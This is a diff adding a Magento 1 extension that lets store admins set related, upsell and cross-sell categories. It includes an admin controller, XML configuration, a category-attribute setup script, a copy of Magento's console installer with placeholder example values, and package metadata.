+ public function categoriesJsonAction()
37
+ {
38
+ if ($this->getRequest()->getParam('expand_all')) {
39
+ Mage::getSingleton('admin/session')->setIsTreeWasExpanded(true);
40
+ } else {
41
+ Mage::getSingleton('admin/session')->setIsTreeWasExpanded(false);
42
+ }
43
+
44
+ if ($categoryId = (int) $this->getRequest()->getParam('category')) {
45
+ //echo $categoryId;
46
+ $this->getResponse()->setBody(
47
+ $this->getLayout()->createBlock('iifire_category/adminhtml_categories')
48
+ ->getCategoryChildrenJson($categoryId)
49
+ );
50
+ }
51
+ }
52
+ public function saveAction()
53
+ {
54
+ $categoryId = $this->getRequest()->getParam('category_id');
55
+ $categoryIds = trim($this->getRequest()->getParam('category_ids'));
56
+ $categoryIds = explode(',',$categoryIds);
57
+ $tmp = array();
58
+ if (count($categoryIds)) {
59
+ foreach($categoryIds as $c) {
60
+ if (!in_array($c, $tmp) && $c) {
61
+ array_push($tmp,$c);
62
+ }
63
+ }
64
+ $categoryIds = implode(',',$tmp);
65
+ } else {
66
+ $categoryIds = '';
67
+ }
68
+
69
+ $type = $this->getRequest()->getParam('type_switcher');
70
+ $msg = false;
71
+ $category = Mage::getModel('catalog/category')->load($categoryId);
72
+ if ($category->getId()) {
73
+ if ($type == "related") {
74
+ $category->setRelatedCategories($categoryIds);
75
+ } else if ($type == "upsell") {
76
+ $category->setUpsellCategories($categoryIds);
77
+ } else if ($type == "crosssell") {
78
+ $category->setCrosssellCategories($categoryIds);
79
+ } else {
80
+ $category->setRelatedCategories($categoryIds)
81
+ ->setUpsellCategories($categoryIds)
82
+ ->setCrosssellCategories($categoryIds);
83
+ }
84
+ try {
85
+ $category->save();
86
+ $msg = true;
87
+ $this->_getSession()->addSuccess(Mage::helper('icategory')->__('Saved successfully.'));
88
+ } catch (Exception $e) {
89
+ $msg = false;
90
+ $this->_getSession()->addError($e->getMessage());
91
+ };
92
+ }
93
+ $this->getResponse()->setBody($msg);
94
+ }
95
+ protected function _getSession()
96
+ {
97
+ return Mage::getSingleton('adminhtml/session');
98
+ }
99
+
100
+ }
app/code/community/Iifire/Category/etc/adminhtml.xml ADDED
@@ -0,0 +1,30 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?xml version="1.0"?>
2
+ <config>
3
+ <menu>
4
+ <catalog>
5
+ <children>
6
+ <iifire_category translate="title" module="icategory">
7
+ <title>Iifire Category Management</title>
8
+ <action>adminhtml/iifire_category/index</action>
9
+ <sort_order>100</sort_order>
10
+ </iifire_category>
11
+ </children>
12
+ </catalog>
13
+ </menu>
14
+ <acl>
15
+ <resources>
16
+ <admin>
17
+ <children>
18
+ <catalog>
19
+ <children>
20
+ <iifire_category translate="title" module="icategory">
21
+ <title>Iifire Category Management</title>
22
+ <sort_order>100</sort_order>
23
+ </iifire_category>
24
+ </children>
25
+ </catalog>
26
+ </children>
27
+ </admin>
28
+ </resources>
29
+ </acl>
30
+ </config>
app/code/community/Iifire/Category/etc/config.xml ADDED
@@ -0,0 +1,103 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?xml version="1.0"?>
2
+ <config>
3
+ <modules>
4
+ <Iifire_Category>
5
+ <version>1.6.0</version>
6
+ </Iifire_Category>
7
+ </modules>
8
+ <global>
9
+ <blocks>
10
+ <iifire_category>
11
+ <class>Iifire_Category_Block</class>
12
+ </iifire_category>
13
+ </blocks>
14
+ <helpers>
15
+ <icategory>
16
+ <class>Iifire_Category_Helper</class>
17
+ </icategory>
18
+ </helpers>
19
+ <models>
20
+ <iifire_category>
21
+ <class>Iifire_Category_Model</class>
22
+ <resourceModel>iifire_category_mysql4</resourceModel>
23
+ </iifire_category>
24
+ <iifire_category_mysql4>
25
+ <class>Iifire_Category_Model_Mysql4</class>
26
+ </iifire_category_mysql4>
27
+ </models>
28
+ <resources>
29
+ <iifire_category_setup>
30
+ <setup>
31
+ <module>Iifire_Category</module>
32
+ </setup>
33
+ </iifire_category_setup>
34
+ </resources>
35
+ </global>
36
+ <frontend>
37
+ <layout>
38
+ <updates>
39
+ <iifire_category>
40
+ <file>iifire_category.xml</file>
41
+ </iifire_category>
42
+ </updates>
43
+ </layout>
44
+ <translate>
45
+ <modules>
46
+ <iifire_category>
47
+ <files>
48
+ <default>Iifire_Category.csv</default>
49
+ </files>
50
+ </iifire_category>
51
+ </modules>
52
+ </translate>
53
+
54
+ </frontend>
55
+ <admin>
56
+ <routers>
57
+ <adminhtml>
58
+ <args>
59
+ <modules>
60
+ <Iifire_Category before="Mage_Adminhtml">Iifire_Category_Adminhtml</Iifire_Category>
61
+ </modules>
62
+ </args>
63
+ </adminhtml>
64
+ </routers>
65
+ </admin>
66
+ <adminhtml>
67
+ <layout>
68
+ <updates>
69
+ <iifire_category>
70
+ <file>iifire_category.xml</file>
71
+ </iifire_category>
72
+ </updates>
73
+ </layout>
74
+ <translate>
75
+ <modules>
76
+ <Iifire_Category>
77
+ <files>
78
+ <default>Iifire_Category.csv</default>
79
+ </files>
80
+ </Iifire_Category>
81
+ </modules>
82
+ </translate>
83
+ <acl>
84
+ <resources>
85
+ <admin>
86
+ <children>
87
+ <system>
88
+ <children>
89
+ <config>
90
+ <children>
91
+ <iifire_category>
92
+ <title>Iifire Category</title>
93
+ </iifire_category>
94
+ </children>
95
+ </config>
96
+ </children>
97
+ </system>
98
+ </children>
99
+ </admin>
100
+ </resources>
101
+ </acl>
102
+ </adminhtml>
103
+ </config>
app/code/community/Iifire/Category/etc/system.xml ADDED
@@ -0,0 +1,57 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?xml version="1.0"?>
2
+ <!--
3
+ /**
4
+ * @author Galey <yanggaojiao@qq.com> (http://www.hifasion.org)
5
+ * @copyright Copyright &copy; 2011, Hifashion (http://www.magentokey.com, http://www.hifasion.org)
6
+ * @version 1.6
7
+ */
8
+ -->
9
+ <config>
10
+ <sections>
11
+ <iifire_category translate="label" module="icategory">
12
+ <label>Iifire Categoy Setting</label>
13
+ <tab>catalog</tab>
14
+ <frontend_type>text</frontend_type>
15
+ <sort_order>1</sort_order>
16
+ <show_in_default>1</show_in_default>
17
+ <show_in_website>1</show_in_website>
18
+ <show_in_store>1</show_in_store>
19
+ <groups>
20
+ <product translate="label">
21
+ <label>General Setting</label>
22
+ <frontend_type>text</frontend_type>
23
+ <sort_order>1</sort_order>
24
+ <show_in_default>1</show_in_default>
25
+ <show_in_website>1</show_in_website>
26
+ <show_in_store>1</show_in_store>
27
+ <fields>
28
+ <crosssell translate="label">
29
+ <label>Product Crosssell default num</label>
30
+ <frontend_type>text</frontend_type>
31
+ <sort_order>1</sort_order>
32
+ <show_in_default>1</show_in_default>
33
+ <show_in_website>1</show_in_website>
34
+ <show_in_store>1</show_in_store>
35
+ </crosssell>
36
+ <related translate="label">
37
+ <label>Product Related default num</label>
38
+ <frontend_type>text</frontend_type>
39
+ <sort_order>10</sort_order>
40
+ <show_in_default>1</show_in_default>
41
+ <show_in_website>1</show_in_website>
42
+ <show_in_store>1</show_in_store>
43
+ </related>
44
+ <upsell translate="label">
45
+ <label>Product Upsell default num</label>
46
+ <frontend_type>text</frontend_type>
47
+ <sort_order>20</sort_order>
48
+ <show_in_default>1</show_in_default>
49
+ <show_in_website>1</show_in_website>
50
+ <show_in_store>1</show_in_store>
51
+ </upsell>
52
+ </fields>
53
+ </product>
54
+ </groups>
55
+ </iifire_category>
56
+ </sections>
57
+ </config>
app/code/community/Iifire/Category/install.php ADDED
@@ -0,0 +1,155 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Mage
22
+ * @package Mage
23
+ * @copyright Copyright (c) 2008 Irubin Consulting Inc. DBA Varien (http://www.varien.com)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+
28
+ /**
29
+ * There are two modes to run this script:
30
+ *
31
+ * 1. Dump available locale options (currencies, locales, timezones) and exit
32
+ * php -f install.php -- --get_options
33
+ *
34
+ * The output can be eval'd in a regular PHP array of the following format:
35
+ * array (
36
+ * 'locale' =>
37
+ * array (
38
+ * 0 =>
39
+ * array (
40
+ * 'value' => 'zh_TW',
41
+ * 'label' => 'Chinese (Taiwan)',
42
+ * ),
43
+ * ),
44
+ * 'currency' =>
45
+ * array (
46
+ * 0 =>
47
+ * array (
48
+ * 'value' => 'zh_TW',
49
+ * 'label' => 'Chinese (Taiwan)',
50
+ * ),
51
+ * ),
52
+ * 'timezone' =>
53
+ * array (
54
+ * 0 =>
55
+ * array (
56
+ * 'value' => 'zh_TW',
57
+ * 'label' => 'Chinese (Taiwan)',
58
+ * ),
59
+ * ),
60
+ * );
61
+ *
62
+ * or parsed in any other way.
63
+ *
64
+ * 2. Perform the installation
65
+ *
66
+ * php -f install.php -- --license_agreement_accepted yes \
67
+ * --locale en_US --timezone "America/Los_Angeles" --default_currency USD \
68
+ * --db_host localhost --db_name magento_database --db_user magento_user --db_pass 123123 \
69
+ * --db_prefix magento_ \
70
+ * --url "http://magento.example.com/" --use_rewrites yes \
71
+ * --use_secure yes --secure_base_url "https://magento.example.com/" --use_secure_admin yes \
72
+ * --admin_lastname Owner --admin_firstname Store --admin_email "admin@example.com" \
73
+ * --admin_username admin --admin_password 123123 \
74
+ * --encryption_key "Encryption Key"
75
+ *
76
+ * Possible options are:
77
+ * --license_agreement_accepted // required, it will accept 'yes' value only
78
+ * Locale settings:
79
+ * --locale // required, Locale
80
+ * --timezone // required, Time Zone
81
+ * --default_currency // required, Default Currency
82
+ * Database connection options:
83
+ * --db_host // required, You can specify server port, ex.: localhost:3307
84
+ * // If you are not using default UNIX socket, you can specify it
85
+ * // here instead of host, ex.: /var/run/mysqld/mysqld.sock
86
+ * --db_model // Database type (mysql4 by default)
87
+ * --db_name // required, Database Name
88
+ * --db_user // required, Database User Name
89
+ * --db_pass // required, Database User Password
90
+ * --db_prefix // optional, Database Tables Prefix
91
+ * // No table prefix will be used if not specified
92
+ * Session options:
93
+ * --session_save <files|db> // optional, where to store session data - in db or files. files by default
94
+ * Web access options:
95
+ * --admin_frontname <path> // optional, admin panel path, "admin" by default
96
+ * --url // required, URL the store is supposed to be available at
97
+ * --skip_url_validation // optional, skip validating base url during installation or not. No by default
98
+ * --use_rewrites // optional, Use Web Server (Apache) Rewrites,
99
+ * // You could enable this option to use web server rewrites functionality for improved SEO
100
+ * // Please make sure that mod_rewrite is enabled in Apache configuration
101
+ * --use_secure // optional, Use Secure URLs (SSL)
102
+ * // Enable this option only if you have SSL available.
103
+ * --secure_base_url // optional, Secure Base URL
104
+ * // Provide a complete base URL for SSL connection.
105
+ * // For example: https://www.mydomain.com/magento/
106
+ * --use_secure_admin // optional, Run admin interface with SSL
107
+ * Backend interface options:
108
+ * --enable_charts // optional, Enables Charts on the backend's dashboard
109
+ * Admin user personal information:
110
+ * --admin_lastname // required, admin user last name
111
+ * --admin_firstname // required, admin user first name
112
+ * --admin_email // required, admin user email
113
+ * Admin user login information:
114
+ * --admin_username // required, admin user login
115
+ * --admin_password // required, admin user password
116
+ * Encryption key:
117
+ * --encryption_key // optional, will be automatically generated and displayed on success, if not specified
118
+ *
119
+ */
120
+
121
+ if (version_compare(phpversion(), '5.2.0', '<')===true) {
122
+ die('ERROR: Whoops, it looks like you have an invalid PHP version. Magento supports PHP 5.2.0 or newer.');
123
+ }
124
+
125
+ require 'app/Mage.php';
126
+
127
+ try {
128
+ $app = Mage::app('default');
129
+
130
+ $installer = Mage::getSingleton('install/installer_console');
131
+ /* @var $installer Mage_Install_Model_Installer_Console */
132
+
133
+ if ($installer->init($app) // initialize installer
134
+ && $installer->checkConsole() // check if the script is run in shell, otherwise redirect to web-installer
135
+ && $installer->setArgs() // set and validate script arguments
136
+ && $installer->install()) // do install
137
+ {
138
+ echo 'SUCCESS: ' . $installer->getEncryptionKey() . "\n";
139
+ exit;
140
+ }
141
+
142
+ } catch (Exception $e) {
143
+ Mage::printException($e);
144
+ }
145
+
146
+ // print all errors if there were any
147
+ if ($installer instanceof Mage_Install_Model_Installer_Console) {
148
+ if ($installer->getErrors()) {
149
+ echo "\nFAILED\n";
150
+ foreach ($installer->getErrors() as $error) {
151
+ echo $error . "\n";
152
+ }
153
+ }
154
+ }
155
+ exit(1); // don't delete this as this should notify about failed installation
app/code/community/Iifire/Category/sql/iifire_category_setup/mysql4-install-1.6.0.php ADDED
@@ -0,0 +1,31 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ $installer = new Mage_Catalog_Model_Resource_Eav_Mysql4_Setup('catalog_setup');
3
+ $installer->startSetup();
4
+ $installer->addAttribute('catalog_category', 'related_categories', array(
5
+ 'type' => 'varchar',
6
+ 'label' => 'Related Categories',
7
+ 'input' => 'text',
8
+ 'sort_order' => 30,
9
+ 'global' => Mage_Catalog_Model_Resource_Eav_Attribute::SCOPE_STORE,
10
+ 'required' => false,
11
+ 'group' => 'General Information',
12
+ ));
13
+ $installer->addAttribute('catalog_category', 'upsell_categories', array(
14
+ 'type' => 'varchar',
15
+ 'label' => 'Upsell Categories',
16
+ 'input' => 'text',
17
+ 'sort_order' => 31,
18
+ 'global' => Mage_Catalog_Model_Resource_Eav_Attribute::SCOPE_STORE,
19
+ 'required' => false,
20
+ 'group' => 'General Information',
21
+ ));
22
+ $installer->addAttribute('catalog_category', 'crosssell_categories', array(
23
+ 'type' => 'varchar',
24
+ 'label' => 'Cross-Sell Categories',
25
+ 'input' => 'text',
26
+ 'sort_order' => 32,
27
+ 'global' => Mage_Catalog_Model_Resource_Eav_Attribute::SCOPE_STORE,
28
+ 'required' => false,
29
+ 'group' => 'General Information',
30
+ ));
31
+ $installer->endSetup();
package.xml ADDED
@@ -0,0 +1,18 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?xml version="1.0"?>
2
+ <package>
3
+ <name>advanced_related_product</name>
4
+ <version>1.6.0</version>
5
+ <stability>stable</stability>
6
+ <license>GPL</license>
7
+ <channel>community</channel>
8
+ <extends/>
9
+ <summary>Magento Related Products</summary>
10
+ <description>Setting Related Products,Up-sell Products,Cross-sell Products easily,powerful assistant. </description>
11
+ <notes>Setting Related Products,Up-sell Products,Cross-sell Products easily,powerful assistant. </notes>
12
+ <authors><author><name>iifire</name><user>yanggaojiao</user><email>yanggaojiao@qq.com</email></author></authors>
13
+ <date>2012-08-14</date>
14
+ <time>08:00:00</time>
15
+ <contents><target name="magecommunity"><dir name="Iifire"><dir name="Category"><dir name="Block"><dir name="Adminhtml"><file name="Categories.php" hash="13c06a1861bfb610fe8a2ae1c31afebc"/><file name="Category.php" hash="b046d615f2426ed5a00de317830c3b4e"/><file name="Tree.php" hash="eb49dacd0ad5f3eca85097da4318f240"/></dir></dir><dir name="Helper"><file name="Data.php" hash="93c1babf8b71c1dbc87dde2ddefc8bbc"/><file name="Toolbar.php" hash="ab4290052ac7606a50bd623a3f81d75a"/><file name="leida.php" hash="eae93a61413da53309ffa45537251d33"/></dir><dir name="controllers"><dir name="Adminhtml"><dir name="Iifire"><file name="CategoryController.php" hash="fcbfc421a411f28b2ed3235e860bfc43"/></dir></dir></dir><dir name="etc"><file name="adminhtml.xml" hash="05318c219ada2a3d9008ff4f0a425945"/><file name="config.xml" hash="9489027ab8ffc7faf6cf31ee9b6e5df3"/><file name="system.xml" hash="8faa2639c867c5f8e68d28f9ea6ddf2d"/></dir><file name="install.php" hash="82d8d90abfdd0b1a47acdeeb4ec49395"/><dir name="sql"><dir name="iifire_category_setup"><file name="mysql4-install-1.6.0.php" hash="78201731438f248a16d0f44d6ae55908"/></dir></dir></dir></dir></target></contents>
16
+ <compatible/>
17
+ <dependencies><required><php><min>5.1.0</min><max>6.0.0</max></php></required></dependencies>
18
+ </package>